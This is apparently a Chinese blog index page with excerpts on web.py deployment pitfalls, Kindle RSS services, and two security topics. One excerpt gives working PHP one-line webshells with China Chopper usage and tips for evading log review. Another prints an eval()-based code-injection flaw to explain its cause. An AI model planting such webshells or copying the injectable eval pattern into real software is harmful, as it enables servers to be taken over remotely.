前言
好久没写博客,一是因为这一段时间没有再去做题了,出差,回来之后准备了一家公司的面试,还要上党校。搞得自己每天看起来很忙,但是真的没做多少事情。最近抽时间再写一个网站,采用了web.py框架,记录点一开始遇到的问题。顺便缅怀下Aaron Swartz 并吐槽下那简洁到坑爹的文档。
一些问题
- 使用apache + mod_wsgi部署时,报错说是找不到模板,使用了绝对路径才ok,可以使用
__file__
来做。 - web.py的模板系统的定义变量语句
$def with(name1, name2)
要放到页面起始位置。 - 使用了jquery的话,$会引起冲突,需要转义为
$$
。 - 可以使用
$:render.header()
和$:render.foot()
来实现类似PHP include引用模板。 - 如果要向模板中传入很多值,可以用
locals()
来传值。locals()
返回值是字典型。 - 使用apache + mod_wsgi部署时,import本地模块会抱错,解决方法在http://webpy.org/install#apachemodwsgi中有提到。
- 使用apache + mod_wsgi部署时,session也要使用绝对路径。
- 使用sessions时,默认设置的cookie_path是错误的,具体表现是使用
python code.py
运行时是正确的,使用mod_wsgi时每次都会在服务器端重新生成一个新的session,相关代码在web/session.py
中,解决办法是在定义session之前,设置参数,web.config.session_parameters['cookie_path'] = '/'
。
前言
最近留了几个一句话都是这种形式的。
<?php($_=@$_GET[2]).@$_($_POST[1])?>
使用方法是在菜刀里写http://localhost/1.php?2=assert
密码是1
。
总结
这样子做在web日志里很明显就可以看出来这是一个一句话。相比于这个更隐蔽的方法是两个参数都使用POST
来提交。
<?$_POST['1']($_POST['2']);?>
在使用时,配置一栏输入<O>2=assert;</O>
,这样就可以附加提交2=assert
。
更多强大猥琐的php一句话可以参考这里:http://www.freebuf.com/articles/web/9396.html
➥Read More前言
在做测试的过程中,居然还发现了一站点现在还存在PHP代码注入的漏洞,真是很难见到的漏洞。现在说说这个漏洞产生的原因以及利用和修复方法吧。
漏洞成因
下面的代码片段引入了PHP代码注入漏洞,
<?
$postarray = array(
"name",
"email",
"message",
);
foreach ($postarray as $val) {
if (!isset($_POST[$val])) $_POST[$val] = "";
eval("$".$val." = '".$_POST[$val]."';");
}
?>
前言
关于kindle的评价和购买已经在之前的一篇文章里提过了(链接),这次推荐Kindle的一些服务来提高阅读体验。主要是通过狗耳朵订阅RSS和使用软件或插件向Kindle推送文章。
狗耳朵
一直以来都是使用Google Reader
来订阅感兴趣的网站或博客内容,随着订阅的条目越来阅读,只要一天没有看,就可以看到GR的未读数目300多条,然后就感到压力很大,有时候都感觉自己有点轻微的强迫症了,强迫自己随时看新出现的订阅内容。但是订阅的博客按质量和深度可以分为几个层次,有的只需要随便看看有点印象就可以,而有的却需要好好的静下心来阅读。这个需求在电脑上经常会被各种各样突然出现的事情打断,自从有了kindle,就可以把这个事情放到晚上睡觉前来做,每天拿出半个到一个多小时的时间来消化今天的内容。这就需要将rss内容推送到kindle上。
狗耳朵实现的正是这个需求。 狗耳朵是全文RSS订阅推送服务,支持Kindle,多看,Nook等移动电子阅读设备。
➥Read More